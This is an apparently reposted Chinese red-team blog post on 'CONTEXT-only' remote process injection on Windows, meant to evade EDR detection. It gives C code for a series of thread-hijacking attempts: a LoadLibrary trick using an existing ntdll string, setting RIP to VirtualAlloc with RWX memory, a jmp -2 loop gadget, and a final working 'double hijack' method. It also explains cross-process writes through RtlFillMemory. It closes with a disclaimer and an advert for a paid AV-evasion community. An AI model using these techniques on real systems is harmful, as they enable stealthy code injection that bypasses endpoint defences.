文章总结： 文章探讨了CONTEXT-Only进程注入技术，旨在绕过EDR对传统注入方法的检测。作者尝试了多种方法，包括创建挂起线程并修改CONTEXT、窃取其他线程堆栈、劫持睡眠线程等。最终发现DoubleHijack方法最可行，通过创建睡眠线程，修改其RIP指向jmp-2，再修改线程上下文执行VirtualAlloc。这种技术减少了传统注入的明显特征，可提高隐蔽性。
综合评分： 86
文章分类： 渗透测试,红队,二进制安全,漏洞分析

探讨进程注入：CONTEXT-Only

原创

半只红队

2025年6月9日 22:22
广东

在基本的远程进程注入中，EDR会监视这经典的三个迹象：

给进程分配新的内存：VirtualAllocEx
修改此进程的内存：WriteProcessMemory、VirtualProtectEx
执行：CreateRemoteThread

在这篇文章中，我们依据这一篇文章（https://blog.fndsec.net/2025/05/16/the-context-only-attack-surface/）进行讲解：测试远程进程注入的下限。

Learn from LoadLibrary

在DLL注入中，我们会给进程分配一块空间用来存储DLL的路径，以便在目标进程中拥有有效的可寻址数据，接着写入DLL的路径，最后使用CreateRemoteThread远程执行LoadLibraryA，参数即远程写入的DLL路径的内存地址。

LoadLibrary会自动将.dll附加到它接受的任何字符串，接着按照DLL的搜索顺序进行搜索，所以，我们可以找到一个进程内现有的字符串，例如“0”，并在某个位置放置一个名为0.dll的文件。我们CreateRemoteThread启动一个远程线程，启动例程为LoadLibraryA，参数为目标内“0”字符串的地址，最终导致DLL被加载到目标进程中。

那“0”这个字符串如何找呢？这得说说Windows对于系统DLL的特性了，Windows将系统DLL映射到各个进程中，这些部分由相同的物理内存支持，每个进程仅接受其虚拟地址的视图。此时他们的内存属性还是共享的，若是某个进程尝试修改它们，系统内核会创建此页面的私有副本，确保不会影响共享的内存。另外，系统DLL会在所有进程中加载到一致的基地址，以优化重定位的性能。

所以，当前进程里的如ntdll base+0x10086这样的地址，在所有的进程中都基本指向相同的字节。

代码例子如下所示：

HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD, FALSE, pid);
if&nbsp;(hProcess == INVALID_HANDLE_VALUE) {
&nbsp; &nbsp;&nbsp;printf("[-] False to Open Process Handle pid: %d\n", pid);
&nbsp; &nbsp;&nbsp;return-1;
}

// Find the '0' from ntdll
MEMORY_BASIC_INFORMATION mbi;
LPVOID pZero =&nbsp;NULL;
ULONG_PTR pNtdll = (ULONG_PTR)GetModuleHandleA("ntdll.dll");
while&nbsp;(VirtualQuery(pNtdll, &mbi,&nbsp;sizeof(mbi)) ==&nbsp;sizeof(mbi)) {
&nbsp; &nbsp;&nbsp;if&nbsp;(mbi.State == MEM_COMMIT && (mbi.Protect & PAGE_READONLY)) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(mbi.RegionSize <&nbsp;2) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pNtdll = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; BYTE* base = (BYTE*)mbi.BaseAddress;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(size_t&nbsp;i =&nbsp;0; i < mbi.RegionSize -&nbsp;1; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(base[i] ==&nbsp;'0'&nbsp;&& base[i +&nbsp;1] ==&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pZero = (LPVOID)((DWORD_PTR)mbi.BaseAddress + i);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pZero)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;if&nbsp;((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize < (DWORD_PTR)mbi.BaseAddress) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; }

&nbsp; &nbsp; pNtdll = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}

HANDLE hThread = CreateRemoteThread(hProcess,&nbsp;NULL,&nbsp;0, (LPTHREAD_START_ROUTINE)pfnLoadLibraryA, pZero,&nbsp;0,&nbsp;NULL);
if&nbsp;(!hThread) {
&nbsp; &nbsp;&nbsp;printf("[+] Can not CreateRemoteThread, GetLastError: %d\n", GetLastError());
&nbsp; &nbsp;&nbsp;return-1;
}

创建远程线程一定是一个恶意的行为吗？在原文作者利用ETW捕获创建者PID≠目标PID的线程创建事件，发现一分钟内有非常多的远程线程创建，而在360核晶环境下直接使用该方法却还是会报注入。

Context-Only？

想到CreateRemoteThread还可以这么做，那为何不优化一下远程线程注入呢？我们不去远程分配VirtualAllocEx一块内存，那可以让目标进程自己分配一块内存。VirtualAlloc有四个参数，但是CreateRemoteThread仅给你一个，所以CONTEXT来了，创建挂起的线程、GetThreadContext、SetThreadContext、ResumeThread一连下来应该可行？

而实际上却不能直接做到，下面是复现原作者的debug过程：

Empty Initial Stack

首先远程创建一个处于挂起状态的线程，接着使用GetThreadContext、SetThreadContext、ResumeThread恢复线程：

&nbsp;HANDLE hThread = CreateRemoteThread(hProcess,&nbsp;NULL,&nbsp;0, (LPTHREAD_START_ROUTINE)pfnMessageBoxA,&nbsp;NULL, CREATE_SUSPENDED,&nbsp;NULL);
printf("[+] Thread ID: %d\n", GetThreadId(hThread));

// Change Context
&nbsp;CONTEXT ctx;
&nbsp;ctx.ContextFlags = CONTEXT_ALL;
&nbsp;GetThreadContext(hThread, &ctx);
&nbsp;ctx.Rip = pfnVirtualAlloc;
&nbsp;ctx.Rcx =&nbsp;NULL;
&nbsp;ctx.Rdx =&nbsp;0x2000;
&nbsp;ctx.R8 = MEM_RESERVE | MEM_COMMIT;
&nbsp;ctx.R9 = PAGE_EXECUTE_READWRITE;
&nbsp;SetThreadContext(hThread, &ctx);

&nbsp;ResumeThread(hThread);
&nbsp;WaitForSingleObject(hThread, INFINITE);

结果就是崩溃。。。原因是线程以空堆栈启动即不是一个正常的堆栈，从VirtualAlloc返回发生了内存访问冲突。到底有没有调用到VirtualAlloc呢？有的，可以试试换成MessageBoxA（记得rdx、r8设为NULL更好，因为对于目标进程不是一个有效的地址），直到去掉弹框，就寄了。

为什么直接使用CreateRemoteThread不会崩溃呢？因为正常启动一个线程时，线程初始化会经历RtlUserThreadStart->BaseThreadinitThunk的过程，这个过程会设置正常的堆栈框架等，最后调用目标例程。

所以萌生了第二个想法，不是要获取一个正常的初始堆栈吗？那我偷一个。

Stealing Valid Stack from Another Thread

由于一定需要一个正常的堆栈，所以作者考虑让新线程执行Sleep睡眠，窃取这个堆栈，然后创建第二个挂起线程并覆盖CONTEXT。

&nbsp;HANDLE hSleepThread = CreateRemoteThread(hProcess,&nbsp;NULL,&nbsp;0, (LPTHREAD_START_ROUTINE)pfnSleep, INFINITE,&nbsp;0,&nbsp;NULL);
printf("[+] Sleep Thread ID: %d\n", GetThreadId(hSleepThread));
&nbsp;Sleep(1000);
&nbsp;CONTEXT ctx;
&nbsp;ctx.ContextFlags = CONTEXT_ALL;
&nbsp;GetThreadContext(hSleepThread, &ctx);

&nbsp;HANDLE hThread = CreateRemoteThread(hProcess,&nbsp;NULL,&nbsp;0, (LPTHREAD_START_ROUTINE)pfnMessageBoxA, INFINITE, CREATE_SUSPENDED,&nbsp;NULL);
&nbsp;CONTEXT ctx2;
&nbsp;ctx2.ContextFlags = CONTEXT_ALL;
&nbsp;GetThreadContext(hThread, &ctx2);
&nbsp;ctx2.Rip = pfnVirtualAlloc;
&nbsp;ctx2.Rsp = ctx.Rsp;
&nbsp;ctx2.Rcx =&nbsp;NULL;
&nbsp;ctx2.Rdx =&nbsp;0x2000;
&nbsp;ctx2.R8 = MEM_RESERVE | MEM_COMMIT;
&nbsp;ctx2.R9 = PAGE_EXECUTE_READWRITE;

&nbsp;SetThreadContext(hThread, &ctx2);
&nbsp;ResumeThread(hThread);

结果也是返回过程中出现崩溃，原因是剽窃的堆栈有效但是新线程的TEB为空，新线程BaseThreadInitThunk需要初始化字段（SEH列表、TLS等），取消引用TEB->NtTib.ExceptionList会触发内存访问冲突。

Hijacking the Sacrificial Sleep Thread

创建一个执行Sleep的线程，线程在休眠时期劫持CONTEXT，设置RIP为VirtualAlloc以及其参数，等到Sleep结束，线程应该在VirtualAlloc中恢复。

&nbsp;HANDLE hThread = CreateRemoteThread(hProcess,&nbsp;NULL,&nbsp;0, (LPTHREAD_START_ROUTINE)pfnSleep,&nbsp;10000,&nbsp;0,&nbsp;NULL);
&nbsp;printf("[+] Sleep Thread ID: %d\n", GetThreadId(hThread));
&nbsp;Sleep(1000);

&nbsp;CONTEXT ctx;
&nbsp;ctx.ContextFlags = CONTEXT_ALL;
&nbsp;GetThreadContext(hThread, &ctx);
&nbsp;ctx.Rip = pfnVirtualAlloc;
&nbsp;ctx.Rcx =&nbsp;NULL;
&nbsp;ctx.Rdx =&nbsp;0x2000;
&nbsp;ctx.R8 = MEM_RESERVE | MEM_COMMIT;
&nbsp;ctx.R9 = PAGE_EXECUTE_READWRITE;
&nbsp;SetThreadContext(hThread, &ctx);

结果是线程按照预期执行到VIrtualAlloc且ProcessHacker可以看到线程栈确实存在，但是VirtualAlloc之后栈就没有了，可知VirtualAlloc失败返回时会崩溃。原因是睡眠期间只有RIP可以可靠得写入，睡眠结束后似乎会覆盖忽略其余得上下文。

Sleep alternative, the Loop Gadget and CFG

根据上一个方法的启发，我们需要寻找一种不会影响寄存器又方便我们修改线程上下文的方式，所以想到了jmp -2，实现代码如下：

&nbsp;MEMORY_BASIC_INFORMATION mbi;
&nbsp;BYTE* baseAddress = (BYTE*)hKernel32;
&nbsp;BYTE* currentAddress = baseAddress;
&nbsp;BYTE pattern[] = {&nbsp;0xEB,&nbsp;0xFE&nbsp;};
&nbsp;ULONG_PTR targetAddress =&nbsp;NULL;
while&nbsp;(VirtualQuery(currentAddress, &mbi,&nbsp;sizeof(mbi))) {
if&nbsp;(mbi.State == MEM_COMMIT && (mbi.Protect & PAGE_EXECUTE_READ)) {
&nbsp; &nbsp;BYTE* start = (BYTE*)mbi.BaseAddress;
&nbsp; &nbsp;BYTE* end = start + mbi.RegionSize;

&nbsp; &nbsp;for&nbsp;(BYTE* ptr = start; ptr < end -&nbsp;sizeof(pattern) +&nbsp;1; ptr++) {
&nbsp; &nbsp;&nbsp;if&nbsp;(ptr[0] == pattern[0] && ptr[1] == pattern[1]) {
&nbsp; &nbsp; &nbsp;targetAddress = (ULONG_PTR)ptr;
&nbsp; &nbsp; &nbsp;printf("[+] Found JMP -2 at: 0x%p\n", ptr);
&nbsp; &nbsp; &nbsp;break;
&nbsp; &nbsp; }
&nbsp; &nbsp;}

&nbsp; &nbsp;if&nbsp;(targetAddress)&nbsp;break;
&nbsp; }
&nbsp; currentAddress = (BYTE*)mbi.BaseAddress + mbi.RegionSize;
&nbsp;}

&nbsp;system("pause");

&nbsp;HANDLE hThread = CreateRemoteThread(hProcess,&nbsp;NULL,&nbsp;0, (LPTHREAD_START_ROUTINE)targetAddress,&nbsp;NULL,&nbsp;0,&nbsp;NULL);
//HANDLE hThread = CreateThread(0, 0, targetAddress, 0, 0, 0);
printf("[+] Sleep Thread ID: %d\n", GetThreadId(hThread));

结果是启动之后就崩溃了，原因是CreateRemoteThread直接触发了CFG控制流保护机制导致进程立即崩溃（可以试试自己写的进程，关闭CFG，是不会崩溃的）。

Double Hijack: Loop Gadget Pivo

根据上两种方法，其一是睡眠期间貌似只有RIP是可以做有效修改的，其二是CreateRemoteThread会由于触发CFG直接崩溃，那么结合一下，让他正常进入Sleep睡眠，接着修改RIP指向jmp -2，最后修改线程上下文，这样是不会出错的（我试的时候小概率崩溃…）。

&nbsp;HANDLE hThread = CreateRemoteThread(hProcess,&nbsp;NULL,&nbsp;0, (LPTHREAD_START_ROUTINE)pfnSleep,&nbsp;3000,&nbsp;0,&nbsp;NULL);
printf("[+] Sleep Thread ID: %d\n", GetThreadId(hThread));

// jmp -2
&nbsp;CONTEXT ctx = {&nbsp;0&nbsp;};
&nbsp;ctx.ContextFlags = CONTEXT_ALL;
&nbsp;GetThreadContext(hThread, &ctx);
&nbsp;ctx.Rip = targetAddress;
&nbsp;SetThreadContext(hThread, &ctx);

&nbsp;Sleep(1000);
&nbsp;SuspendThread(hThread);

// Inline VirtualAlloc
&nbsp;CONTEXT ctx2 = {&nbsp;0&nbsp;};
&nbsp;ctx2.ContextFlags = CONTEXT_ALL;
&nbsp;GetThreadContext(hThread, &ctx2);
&nbsp;ctx2.Rip = (DWORD64)pfnVirtualAlloc;
&nbsp;ctx2.Rcx = (DWORD64)NULL;
&nbsp;ctx2.Rdx = (DWORD64)0x10000;
&nbsp;ctx2.R8 = (DWORD64)(MEM_RESERVE | MEM_COMMIT);
&nbsp;ctx2.R9 = (DWORD64)PAGE_EXECUTE_READWRITE;
&nbsp;SetThreadContext(hThread, &ctx2);
&nbsp;ResumeThread(hThread);

那如何知道分配的内存在哪里呢？改一下VirtualAlloc第一个参数就行了。

进程之间内存不能直接访问，那如何跨进程进行写入操作呢？RtlFillMemory一个个字节写进去就行了。

Fixing the Stack using ROP

由于作者认为两次等待太麻烦时间了，他想出了第二种方式，使用ROP，这个ROP呢，如下：

push reg1
push reg2
ret

其中reg1、reg2为RAX/RBX/RBP/RDI/RSI/R10-15，其中之一都行，以VirtualAlloc为例，push RtlExitThread入栈，push VirtualAlloc入栈，接着执行ret操作跳转到VirtualAlloc函数中。由于4个传参寄存器没有修改过，所以是可以执行成功的，最后分配内存后执行RtlExitThread完美退出线程。

虽然看上去挺完美的，但还是离不开CONTEXT，还是离不开去设置CONTEXT，而作者的源代码对于这种方法还是进行了VirtualAllocEx，并且这个ROP在EXECUTE属性中我是基本找不到的，所以这个方法巧妙是巧妙，对于我来说我还是喜欢两次等待的方式。

写在后面

本篇文章参考https://blog.fndsec.net/2025/05/16/the-context-only-attack-surface，项目源代码https://github.com/Friends-Security/RedirectThread。读后评价为，这是一种挺巧妙的方式，作者在原文中也提出了很多对于EDR的简介，以及后期修改的建议。

圈子介绍

圈子内部致力于红蓝对抗，武器免杀与二开，不定期分享前沿技术文章，经验总结，学习笔记以及自研工具与插件，进圈联系~

圈子已满200余人，目前价格199，学生优惠30

后续升价

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：半只红队半只红队《探讨进程注入：CONTEXT-Only》

Tags: 二进制安全渗透测试漏洞分析红队

你可能错过

从单卡到千卡互联，平头哥真武 V900 背后的 AI 算力变局

拆解下阿里的 AI 经济学，与它的下注

当黑客交给AI Agent干活：拿下每个目标仅需 25 美元

智能研判：毫秒级裁决重塑安全运营闭环